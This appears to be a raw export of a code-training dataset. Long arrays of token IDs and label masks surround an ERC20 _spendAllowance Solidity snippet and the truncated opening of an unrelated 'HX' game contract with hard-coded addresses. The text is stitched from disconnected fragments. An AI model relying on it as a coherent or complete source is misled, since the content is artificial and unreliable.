0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
598,
9446,
14199,
577,
41,
451,
13937,
12,
203,
3639,
1758,
358,
203,
565,
262,
3903,
1338,
5541,
1661,
426,
8230,
970,
1135,
261,
6430,
2216,
13,
288,
203,
3639,
2254,
5034,
11013,
273,
1758,
12,
2211,
2934,
12296,
31,
203,
3639,
2583,
12,
12296,
405,
374,
16,
315,
2279,
11013,
316,
400,
264,
3324,
358,
598,
9446,
8863,
203,
3639,
2583,
12,
4768,
16,
315,
41,
451,
486,
598,
9446,
82,
4442,
1769,
203,
3639,
309,
261,
4768,
13,
288,
203,
5411,
16255,
607,
264,
3324,
273,
374,
31,
203,
5411,
3626,
512,
496,
577,
41,
451,
13937,
1190,
9446,
82,
12,
869,
16,
11013,
1769,
203,
5411,
327,
2216,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xAE69a93945133c00B9985D9361A1cd882d107622/sources/TokenizedStrategy.sol
|
* @dev Updates `owner` s allowance for `spender` based on spent `amount`. Does not update the allowance amount in case of infinite allowance. Revert if not enough allowance is available. Might emit an {Approval} event./
|
function _spendAllowance(
address owner,
address spender,
uint256 amount
) private {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC20: insufficient allowance"
);
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
EIP-2612 LOGIC
| 16,059,422 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
15419,
1375,
8443,
68,
272,
1699,
1359,
364,
1375,
87,
1302,
264,
68,
2511,
603,
26515,
1375,
8949,
8338,
9637,
486,
1089,
326,
1699,
1359,
3844,
316,
648,
434,
14853,
1699,
1359,
18,
868,
1097,
309,
486,
7304,
1699,
1359,
353,
2319,
18,
490,
750,
3626,
392,
288,
23461,
97,
871,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
87,
1302,
7009,
1359,
12,
203,
3639,
1758,
3410,
16,
203,
3639,
1758,
17571,
264,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
3238,
288,
203,
3639,
2254,
5034,
783,
7009,
1359,
273,
1699,
1359,
12,
8443,
16,
17571,
264,
1769,
203,
3639,
309,
261,
2972,
7009,
1359,
480,
618,
12,
11890,
5034,
2934,
1896,
13,
288,
203,
5411,
2583,
12,
203,
7734,
783,
7009,
1359,
1545,
3844,
16,
203,
7734,
315,
654,
39,
3462,
30,
2763,
11339,
1699,
1359,
6,
203,
5411,
11272,
203,
5411,
22893,
288,
203,
7734,
389,
12908,
537,
12,
8443,
16,
17571,
264,
16,
783,
7009,
1359,
300,
3844,
1769,
203,
5411,
289,
203,
3639,
289,
203,
565,
289,
203,
203,
11794,
512,
2579,
17,
5558,
2138,
2018,
2871,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
contract HXevents {
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
// fired at end of buy or reload
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
// fired whenever theres a withdraw
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
// fired whenever a withdraw forces end round to be ran
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever a player tries a buy after round timer
// hit zero, and causes end round to be ran.
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever a player tries a reload after round timer
// hit zero, and causes end round to be ran.
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever an affiliate is paid
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
// received pot swap deposit
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
//==============================================================================
// _ _ _ _|_ _ _ __|_ _ _ _|_ _ .
// (_(_)| | | | (_|(_ | _\(/_ | |_||_) .
//====================================|=========================================
contract modularShort is HXevents {}
contract HX is modularShort {
using SafeMath for *;
using NameFilter for string;
using HXKeysCalcLong for uint256;
address developer_addr = 0xE5Cb34770248B5896dF380704EC19665F9f39634;
address community_addr = 0xb007f725F9260CD57D5e894f3ad33A80F0f02BA3;
address token_community_addr = 0xBEFB937103A56b866B391b4973F9E8CCb44Bb851;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF7ca07Ff0389d5690EB9306c490842D837A3fA49);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant public name = "HX";
